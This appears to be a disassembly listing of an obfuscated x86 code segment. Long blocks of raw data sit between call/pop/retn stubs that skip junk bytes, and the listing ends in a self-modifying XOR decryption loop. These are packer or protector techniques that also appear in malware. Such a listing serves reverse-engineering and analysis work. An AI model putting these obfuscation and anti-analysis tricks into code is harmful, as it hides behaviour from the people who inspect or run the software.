		call	sub_5CCBBD
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CCBBD	proc near		; CODE XREF: sdfs____:005CCBB5p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Dh
		inc	edi
		push	edi
		retn
sub_5CCBBD	endp

; ---------------------------------------------------------------------------
		db 5Fh,	0BDh, 40h
		dd 71C9FA01h, 5269F7D4h, 1CE59589h, 905F07E9h, 0BE8h, 81486900h
		dd 9EBD657Ch, 63BDA868h, 62BF6653h, 505F5BF2h, 22F8BB66h
		dd 6D8D8990h, 6407E934h, 35FFh,	9E90000h, 0CB000000h, 3403FB88h
		dd 0D333920Bh, 258964h,	6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 0EE56C353h
		dd 773A5DECh, 1ADD752Eh, 21E9B589h, 85FF07E9h, 7E90F9Dh
		dd 5E9h, 9B02BB00h, 0FF6A0578h,	0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 0AEC35646h,	76A784B0h, 9A04AA2h
		dd 0E92CCD95h, 92E38107h, 0FF1A67ADh, 0E92979B5h, 57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 0FD6C201Eh, 0A359D8Bh, 8B6607E9h, 3D95FFD8h,	0E907E923h
		dd 0FEh, 0B0DFB70Fh, 58B0F00h, 0BB000000h, 7730250Fh, 11E970E6h
		dd 2000000h, 7FDA63E6h,	0D5D31AADh, 0A2E58885h,	4BF58D17h
		dd 0C8A0Fh, 89600000h, 0E918199Dh, 0BDBB6607h, 71E46129h
		dd 0F613CFCh, 0B983h, 14E38000h, 8BC8B60Fh, 0E9001D9Dh
		dd 6BA07h, 85890000h, 7E918A9h,	0E8C1C18Bh, 66DD8A04h
		dd 0C82BE2F7h, 1D3AF4BBh, 1D18B30h, 0E91CED9Dh,	11E907h
		dd 0CE90000h, 9C000000h, 829ED717h, 0B4ADC9AEh,	8BC29B5Ch
		dd 0E9211985h, 18B0F07h, 0F8000000h, 907C083h, 0E9157D95h
		dd 0C08307h, 2EE59D89h,	0D03B07E9h, 10830Fh, 9D890000h
		dd 7E91B81h, 41E9h, 8749BB00h, 8D8B7D39h, 7E9181Dh, 0F010BF66h
		dd 0E1839EB7h, 27840F01h, 66000000h, 838A82BFh,	0E9181DA5h
		dd 850FFE07h, 1, 199589F5h, 0F07E921h, 80h, 0BBBB6600h
		dd 0E9CDh, 0B58D0000h, 7ED08D4h, 0E852006Ah, 3,	5AC35A20h
		dd 4245489h, 4244481h, 19h, 0B5C35242h,	0D4622899h, 8B006AAEh
		dd 0E923759Dh, 3195FF07h, 6A07E90Ch, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 25F9C355h
		dd 4DBF934Fh, 0B91AA645h, 8FCh,	83D88B66h, 6AFCE1h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 9F1E68C3h, 334DE5F5h, 26399D2Bh, 9D8B07E9h, 7E916B9h
		dd 0E59D23FCh, 2B07E90Ch, 57006AC0h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 0B292F890h
		dd 0F572DE7h, 2B5FDAB7h, 56006AD2h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 8D0408C7h, 19719D89h
		dd 33AD07E9h, 3E8D1C2h,	4E983D0h, 6AF475h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0AB09FEC3h
		dd 0A71414D3h, 0F98B66C6h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 19h, 37C35141h, 0C16E83EEh, 198D0FD2h, 0E9000000h
		dd 14h,	0D78D3907h, 9F331EB4h, 0BE602FB0h, 0A878C801h
		dd 0AFEE6B2Dh, 880Dh, 9EEB8100h, 8B473F9Ch, 0E9320D95h
		dd 55006A07h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 46032DB0h, 8F0FC2C0h, 3,	60D9F780h, 198531F8h
		dd 6107E932h, 22E58D8Bh, 6A07E9h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 70DE3CC3h, 371E904Dh
		dd 419D0B4Dh, 5007E90Fh, 188BC28Bh, 188BC103h, 0E8D1C18Bh
		dd 188BC203h, 55006A58h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1904h, 0C3554500h, 4FBCBB4Ah, 958935C0h, 7E919DDh, 1C2DBD83h
		dd 0F0007E9h, 6384h, 51006A00h,	3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 0BD8957B6h, 7E92B81h
		dd 2B4FEF81h, 0B80D20h,	6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0A7EAC353h
		dd 9D8B264Ch, 7E91F79h,	4D5A8D8Dh, 0FB8B07E9h, 0B529E1FFh
		dd 7E923A1h, 22B1BD83h,	0F0007E9h, 43684h, 0EE900h, 0B05B0000h
		dd 6CD09A2Bh, 65386C8Dh, 23B90261h, 22B1BD83h, 0F0107E9h
		dd 43184h, 4DFFBB00h, 0BD830DF6h, 7E922B1h, 0E9860F03h
		dd 60000003h, 8F0Fh, 85290000h,	7E91F19h, 6A6061h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 3E61C9C3h, 50DC7141h, 0D01BD8Bh, 8C6607E9h, 52006AD9h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 0F5D12FAh, 0E180FBB7h, 57006A04h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 0AF0DB892h
		dd 1DC8AD4h, 0E92FA185h, 95BD8B07h, 0A07E916h, 1A840FC9h
		dd 0F000001h, 0CCBFFAB7h, 8B0673DAh, 0E90C5585h, 11E907h
		dd 8260000h, 0B3E0713Dh, 498E568Fh, 0BC435CFCh,	33E32B37h
		dd 0E91CE985h, 0BBCF8107h, 506BA687h, 0DE8h, 0EF6CCA00h
		dd 7A780AF2h, 67A72B5Bh, 895F391Bh, 6A2404h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 0BF0F73C3h
		dd 6A006AFFh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 0BAD1C357h, 8B6632A1h,	8166F8D9h
		dd 68C12FF3h, 8CD6059Ch, 63240481h, 6A7348FEh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 0AF6AC355h, 0F32DE06Bh, 0D995FF83h, 6A07E902h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 0D334C353h, 0D781D14Fh, 44D8F895h, 0D7858589h, 0E9F807ECh
		dd 1BEh, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 1Dh,	0ABC35242h, 0D3883301h,	528BE543h, 7D858BACh, 8907ECD7h
		dd 0E91CBD9Dh, 0C7D98B07h, 1800h, 12E900h, 94F00000h, 2EF86C4Dh
		dd 46780610h, 0C9A41EBFh, 5D0D268Bh, 0D781B58Bh, 6A07ECh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 1B1F9BC3h, 0F8779671h, 1859858Bh, 0C78107E9h, 78199FBDh
		dd 9E90689h, 9E000000h,	18B8D7E1h, 0BD797CD5h, 0E1AFBF66h
		dd 0C55858Bh, 0FA8B07E9h, 6A044689h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 0EC9FC353h
		dd 8E960h, 55BF0000h, 4F525438h, 0DE8F386h, 67000000h
		dd 0EFE05D82h, 199376E6h, 0ABC20CFCh, 0EAF08166h, 9615A38h
		dd 0E921A9BDh, 0BF665007h, 34892FBDh, 0DBCF8024h, 0D77DB5FFh
		dd 6A07ECh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 46431EC3h, 0FC70800h, 9D09DD8Dh, 7E9003Dh
		dd 97F50668h, 0F52501Bh, 2860F31h, 8B000000h, 81585AFEh
		dd 0F6F92434h, 9D231B88h, 7E917EDh, 0D785858Dh,	6A07ECh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 505037C3h, 0C4689A53h, 5E936h, 6D6C0000h, 66B02520h
		dd 50EB63BBh, 4893CB7h,	53006A24h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 9DDD7668h, 0CF886F59h
		dd 0CF81666Ah, 95FF7689h, 7E902D9h, 533ADB81h, 0BF664BE1h
		dd 8B6188A6h, 0E90DDDBDh, 0B185C707h, 307E922h,	0E8000000h
		dd 0Fh,	0C350A0B0h, 74D74DC1h, 0F641BDE6h, 66170E1Ah, 5B409EBBh
		dd 0D785BD83h, 0F0007ECh, 6B84h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 0FA8B6695h
		dd 2F7DB501h, 5CE907E9h, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0F40AC353h
		dd 0F133383Ah, 198E0F48h, 0E8000000h, 0Dh, 9E427F89h, 0FFAF3E07h
		dd 0F4D25539h, 850F42h,	5F000000h, 110C3050h, 1114400h
		dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 51C08B00h, 6A5FD98Bh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 0A02C357h, 2971BFE8h, 0BD833A87h,	7E922B1h
		dd 55850F03h, 6A000004h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 4AD8C353h, 1D1C5E4Eh
		dd 0D785BD83h, 0F0007ECh, 42784h, 0D88B6600h, 9F08060h
		dd 11A5B589h, 0FF6107E9h, 0ECD785B5h, 68C0F07h,	81000000h
		dd 0A1389EFh, 4995FF0Fh, 6007E913h, 2A59531h, 8B5307E9h
		dd 0E90F01B5h, 8B615807h, 0ECD779B5h, 57006A07h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
		dd 0CAC4FC91h, 0F7A5440h, 68Fh,	0D9BD8B00h, 0C707E91Ch
		dd 1000106h, 50006A00h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1804h, 0C3504000h, 0D3DA3F80h, 21B52995h, 9607E923h
		dd 2820F50h, 53000000h,	0DE9965Fh, 0B1000000h, 2670913Eh
		dd 6925EB94h, 43A7078Dh, 48F0Fh, 0BF660000h, 0B5FF78CAh
		dd 7ECD785h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 19h,	0FCC35141h, 0A34180ACh,	0FFDE8BF4h, 0E91AB195h
		dd 56006A07h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 8559637Bh, 8B5F5104h, 0ECD779B5h, 0ED9D8B07h
		dd 8B07E902h, 0E9244985h, 0C5DB8007h, 0C48689h,	870F0000h
		dd 5, 93060CBBh, 0D958B3Fh, 5307E932h, 0F5F5360h, 5F61D8B7h
		dd 0E904C283h, 13h, 80D0BEA1h, 0A4EBB585h, 2CE98044h, 1F2E012Ch
		dd 893346B4h, 6A2050h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 95B444C3h, 9589FE57h, 7E90E75h
		dd 7BDBD89h, 816607E9h,	8D986DCBh, 0ECECA185h, 56006A07h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 0B55F899h, 0BD33679Dh, 7E92E39h, 0B88689h, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 0B5299DC3h, 7E91B3Dh, 99D38153h, 5F527A68h, 6A006Ah
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 0A8724AC3h, 9A766FC7h, 153D9D8Bh, 0F8B307E9h, 0D785B5FFh
		dd 0B50107ECh, 7E91ACDh, 2CD95FFh, 6A07E9h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0FE903C3h
		dd 8E000000h, 69995435h, 91572E89h, 0DA40906Fh,	0FC56B2FEh
		dd 0CE9505Fh, 0DC000000h, 0EE6D5AEEh, 0B63847B9h, 897E6914h
		dd 6A2434h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 66E79BC3h, 0FF61ADBBh, 0ECD785B5h, 0C7816607h
		dd 2FBBBD91h, 0FF18E065h, 0E9302D95h, 56006A07h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h
		dd 2E41457Fh, 8BCA2C5Fh, 0E921119Dh, 0DE907h, 0C3E70000h
		dd 0A55C5E0Eh, 8CFE8CE6h, 966FFF6h, 0E913C98Dh,	0C9BD8307h
		dd 7E91Eh, 25840Fh, 8BFC0000h, 0E925DD9Dh, 11E95007h, 90000000h
		dd 0AAC28527h, 0E02B42Bh, 43EB4A0Fh, 97990A3Dh,	66243489h
		dd 0FF487EBFh, 0ECD785B5h, 53006A07h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 0AAC7BDE4h
		dd 0CE82BBEh, 0A5000000h, 0E863BCAFh, 0FD5ADEC6h, 66B7AA46h
		dd 4639CF81h, 86BF665Bh, 9D95FF0Eh, 6607E91Fh, 0FFBE7CBBh
		dd 0ECD785B5h, 71B53107h, 8B07E91Ah, 0E9083DBDh, 3995FF07h
		dd 107E901h, 0E90E55B5h, 0CDBD8307h, 207E929h, 64840Fh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 40E0A8C3h, 8B522E0Ah, 0E924A99Dh,	75858B07h
		dd 6A07E908h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 0E57AC355h, 11235A5Ch,	0C66B2431h
		dd 0E8510000h, 6, 7C2AE219h, 61601844h,	85C75B5Bh, 7E924ADh
		dd 0
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_5CD923
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CD923	proc near		; CODE XREF: sdfs____:005CD91Bp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_5CD923	endp

; ---------------------------------------------------------------------------
		db 8Dh
		dd 0BD233A46h, 7E91965h, 0FFF319E9h, 0C18BFCFFh, 861858Dh
		dd 6A07E9h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 0F09F73C3h, 319D5CB6h, 0E934DD85h, 60519007h
		dd 13E9C78Bh, 0A3000000h, 250583DBh, 75C2BE03h,	0C90BC1D9h
		dd 41F8B500h, 5B61A26Bh, 52506050h, 310FF48Ah, 8F0Fh, 585A0000h
		dd 8C49B853h, 615B2595h, 60006A90h, 890FCF8Bh, 6, 1FED9589h
		dd 6A6107E9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1B04h, 0C3534300h, 20698E36h, 11A38CC1h, 399D8960h
		dd 0F07E917h, 58Ch, 0D2816600h,	8D614504h, 0ED9E5385h
		dd 56006A07h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 0E159774Bh, 24B9CDF8h, 5C083F3h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0CEC35747h, 0DF1934D9h
		dd 0BE890h, 892D0000h, 49DF13CAh, 6D289A93h, 505250C4h
		dd 5A310F52h, 0E8310F58h, 0Dh, 347129B9h, 0C4190BF1h, 3949E91h
		dd 585A5BDFh, 7E8505Fh,	52000000h, 87417C7Dh, 0BF661159h
		dd 905F4648h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 1Dh,	9C35040h, 0AEE8C76h, 45AC2F6Ch,	0B3D381D0h, 6A2016B0h
		dd 6AF900h, 55B58B60h, 6107E92Eh, 0FB995FFh, 6A07E9h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 0CFD013C3h, 8B264E42h, 0E913619Dh, 2C8D8D07h, 6A07ECD7h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 6EBEC351h, 2B6CC696h, 4880Fh, 0BF660000h
		dd 0D1FF0927h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Dh,	0B0C35040h, 18B6269h, 66FADC13h, 0EE8E5h, 5E700000h
		dd 2D72C18Eh, 538D7D7Dh, 0B4753F21h, 69BD835Fh,	107E91Bh
		dd 0AB850Fh, 0B5890000h, 7E91655h, 6A026Ah, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0DE608FC3h
		dd 9FDAF4Ch, 89CE7228h,	0E91DA5BDh, 50529007h, 0AE852h
		dd 0CBF30000h, 3FCC0419h, 1B568236h, 0E9310F5Bh, 6, 0AABCA851h
		dd 585ACE45h, 8D0F505Fh, 0Ch, 0D98B5250h, 0BB66310Fh, 585A19A5h
		dd 48C0F90h, 66000000h,	0FFE290BBh, 0E902CD95h,	55006A07h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 1C3207A2h, 9AE9A691h, 0FDBD8B52h, 5B07E934h,	0BFCF8166h
		dd 0E06E957h, 0E80000h,	5D000000h, 9E5DED81h, 0BB6607EDh
		dd 6A6587h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 0B79594C3h, 454F67DBh, 0AE96311h,	50000000h
		dd 4C546EEh, 0F85151E8h, 6858DDDh, 0E907ECB4h, 9, 0DF54A361h
		dd 1441EB00h, 516090D2h, 0E95FD98Bh, 0Ch, 687961CAh, 8C50A3BDh
		dd 38D76180h, 0DE85061h, 7E000000h, 74322FD2h, 0FA768FD3h
		dd 140ED998h, 5FFE8B66h, 57006A90h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1B04h, 0C3574700h, 0CE4BA12h, 0B1AB5AAh
		dd 3035B589h, 816607E9h, 64FCFDF3h, 35FFh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 856B32C3h, 5F48674Eh, 2AF99D8Bh, 64F807E9h, 2589h, 6E90000h
		dd 0DE000000h, 2899B523h, 9D85FF62h, 8A07E90Fh,	0BBFF6ADDh
		dd 828135Bh, 2045B5FFh,	6A07E9h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 9D8BF6C3h, 7E90A85h
		dd 26058D89h, 95FF07E9h, 7E9233Dh, 115E9h, 0CE900h, 73540000h
		dd 0E665174Ah, 0AFB5E1CCh, 0B0F8CCh, 29F9B589h,	70E607E9h
		dd 14FD9D8Bh, 71E407E9h, 0FA19529h, 7E907E9h, 0D6000000h
		dd 65CF097Ah, 613C01EEh, 0D8830Fh, 85090000h, 7E929E1h
		dd 0E9C8B60Fh, 0Bh, 0B0EED2B7h,	20D48C44h, 0BA6A1082h
		dd 6, 1F19D8Bh,	0C18B07E9h, 9E9h, 661D5B00h, 9D7D0D46h
		dd 0BD89D4B9h, 7E9313Dh, 8B04E8C1h, 0E92B819Dh,	0E2F76607h
		dd 850FC82Bh, 6, 1BB99D89h, 0D18B07E9h,	0C38166h, 3E983h
		dd 0E7800000h, 0F1858BDCh, 8107E91Dh, 409D5CEFh, 7C0832Ah
		dd 83DFBF0Fh, 0BE900C0h, 6D000000h, 0D80ED592h,	0EF843825h
		dd 0D03BDFBAh, 11830Fh,	9D230000h, 7E92065h, 3DE9h, 0F1952900h
		dd 8B07E902h, 0E911B98Dh, 83DF8B07h, 840F01E1h,	26h, 15F9BD23h
		dd 0A58307E9h, 7E911B9h, 8DBD8BFEh, 8907E92Ch, 0E91DF195h
		dd 8D295707h, 7E92031h,	0E95Bh,	0B58D0000h, 7ED1440h, 6AD88B66h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 66FA96CAh, 9D89FE8Bh, 7E934B5h, 0C3195FFh
		dd 6A07E9h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 91416C3h,	820F32D1h, 0Ch,	9FB86660h, 798529CAh
		dd 6107E908h, 774B9h, 0CE900h, 51810000h, 810B1948h, 0E51ECEDDh
		dd 0E18391F8h, 18DB81FCh, 0BF1C531Dh, 79AF073Bh, 56006AFCh
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 0C4B3C77Ch, 0B3EE2793h, 0F1BD0Bh, 958907E9h,	7E918BDh
		dd 0B8h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 0D343015Bh, 0FD22B2Ch, 68Eh, 0ED852900h
		dd 0AD07E90Ch, 0E8D1C233h, 0E983D003h, 8BF47504h, 0E908659Dh
		dd 10E907h, 0B23D0000h,	38562198h, 66BA04DFh, 2C0CE625h
		dd 880D15E1h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 223DC351h, 50BE2170h
		dd 5E9E951h, 86000000h,	5D959ADEh, 23399D89h, 958B07E9h
		dd 7E9320Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Bh,	74C35141h, 318117F6h, 0F60C0B4h, 0B70FF8BFh, 0E58D8BFEh
		dd 6607E922h, 8B50D98Bh, 3188BC2h, 8B188BC1h, 3E8D1C1h
		dd 58188BC2h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 14h,	65C35242h, 6E9h, 0A49C3600h, 6A21FFE7h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 7DD9C352h, 0EE92071h, 7A000000h, 0E2E81FB2h,	6DC55923h
		dd 3B39FD1Fh, 2DBD8354h, 7E91Ch, 0A2840Fh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 6ABF6C3h, 6DF13E11h,	0BD8BE8B7h, 7E929A9h, 0B8h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 0BE10B64Ch, 8D97E9BBh, 5A8D8D4Eh, 6A07E94Dh,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 1278C355h, 0A400BBC3h, 0E1FF4EB4h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 0A9C35242h,	702AFCBh, 418EDED2h
		dd 22B1BD83h, 0F0007E9h, 43184h, 0BD83F800h, 7E922B1h
		dd 3E840F01h, 51000004h, 0BD835FF5h, 7E922B1h, 0F8860F03h
		dd 6A000003h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 0E139C356h, 1DC9BED8h, 27B7925Ch,	1BC99D8Bh
		dd 0CE807E9h, 1E000000h, 10620C9Ch, 63B7AD8Ah, 0BF81D9B5h
		dd 5CBB6C18h, 0BD8B605Fh, 7E923FDh, 0BBD98C66h,	2E03C626h
		dd 6A04E180h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 0BFB1C353h, 840FC90Ah,	199h, 55858BF5h
		dd 6007E90Ch, 0AE9h, 0E8DBEA00h, 8726B50Eh, 299BF124h
		dd 0E91D418Dh, 85336107h, 7E91CE9h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 3EC35040h, 0AEE61765h, 0C8144765h
		dd 0D88AFC95h, 0DF8B5090h, 56006A90h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 0C32E7DE4h
		dd 8A5BBB87h, 0D88AC086h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 47F3BC3h, 0F77B6ADAh
		dd 850915D6h, 7E92A5Dh,	0DE8h, 0B8D62000h, 622B7811h, 9D46F645h
		dd 8D89E7F4h, 7E90DCDh,	4E85Fh,	3FF0000h, 0E2BF001Fh, 504A51E4h
		dd 168D0Fh, 0AE80000h, 0BF000000h, 81B0D197h, 0CC169214h
		dd 8F0FB1h, 5F000000h, 424448Bh, 840Fh,	8B0000h, 0CE8h
		dd 0CF122C00h, 0F4731E74h, 2770186Dh, 0DE8B6625h, 2444895Fh
		dd 0AE86004h, 0E2000000h, 91C0AFEh, 1B8E6C9h, 11E802h
		dd 48FD0000h, 0E2659B55h, 958193BEh, 0F8BAFE12h, 59F3327Ch
		dd 0FD80B95Fh, 58612FAAh, 0F8FEBF0Fh, 2D995FFh,	800F07E9h
		dd 0
; ---------------------------------------------------------------------------
		mov	[ebp+7ECD785h],	eax
		push	0
		push	edx
		call	sub_5CE309
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CE309	proc near		; CODE XREF: sdfs____:005CE301p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 14h
		inc	edx
		push	edx
		retn
sub_5CE309	endp

; ---------------------------------------------------------------------------
		test	al, 0FCh
		jmp	loc_5CE4BA
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_5CE32B
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CE32B	proc near		; CODE XREF: sdfs____:005CE323p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Dh
		inc	esi
		push	esi
		retn
sub_5CE32B	endp

; ---------------------------------------------------------------------------
		db 82h
		dd 2C1391B3h, 0D1F33B1Eh, 7D858BF4h, 0E907ECD7h, 0Bh, 109FD304h
		dd 8643DE21h, 0C7A6D7AFh, 1800h, 0DA8B6600h, 0D781B58Bh
		dd 6A07ECh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 0E74BA0C3h, 9B8424ECh, 31384AAAh,	0E901F185h
		dd 59858B07h, 8B07E918h, 0E9011DBDh, 89068907h,	0E902BD85h
		dd 55858B07h, 6A07E90Ch, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 0E05AC355h,	5C6137C2h
		dd 860FD136h, 6, 1F61BD89h, 468907E9h, 50D88B04h, 80243489h
		dd 0B5FFE0CBh, 7ECD77Dh, 0BE9h,	0CEAF4700h, 0B6773258h
		dd 0E521F919h, 0D64D3B68h, 429CBF7Ch, 34815853h, 0C94EC424h
		dd 56006A7Ch, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 1A14C917h, 0EE2BFD4h, 9D892B14h,	7E91AB5h
		dd 0D785858Dh, 0BF6607ECh, 50909624h, 310F5250h, 0DE9h
		dd 358E4A00h, 89699954h, 6F91572Eh, 585A4090h, 52006A90h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1D04h, 0C3524200h
		dd 0A2E62321h, 0D5BD121Ah, 8B66434Fh, 0D995FFFEh, 6A07E902h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 0F875C355h, 0E5E78153h, 5F4B335Ah, 187D9D8Bh
		db 0E9h, 7
; ---------------------------------------------------------------------------


loc_5CE4BA:				; CODE XREF: sdfs____:005CE31Bj
		popa
		mov	edi, [ebp+7E91C45h]
		mov	dword ptr [ebp+7E922B1h], 3
		push	0
		push	esi
		call	sub_5CE4D6
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CE4D6	proc near		; CODE XREF: sdfs____:005CE4CEp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 19h
		inc	esi
		push	esi
		retn
sub_5CE4D6	endp

; ---------------------------------------------------------------------------
		cmp	[ebp+400F2DDh],	ebx
		movsx	ebx, di
		cmp	dword ptr [ebp+7ECD785h], 0
		jz	loc_5CE52B
		push	0
		push	esi
		call	sub_5CE507
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CE507	proc near		; CODE XREF: sdfs____:005CE4FFp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ch
		inc	esi
		push	esi
		retn
sub_5CE507	endp

; ---------------------------------------------------------------------------
		db 85h
		dd 53F76E41h, 864DB613h, 21E9h,	6D852900h
		db 25h,	0E9h, 7
; ---------------------------------------------------------------------------


loc_5CE52B:				; CODE XREF: sdfs____:005CE4F6j
					; sdfs____:005CE542j
		push	eax
		xor	[ecx+edx], cl
		add	[ecx+edx+1], al
		shr	eax, 10h
		xor	[ecx+edx+2], al
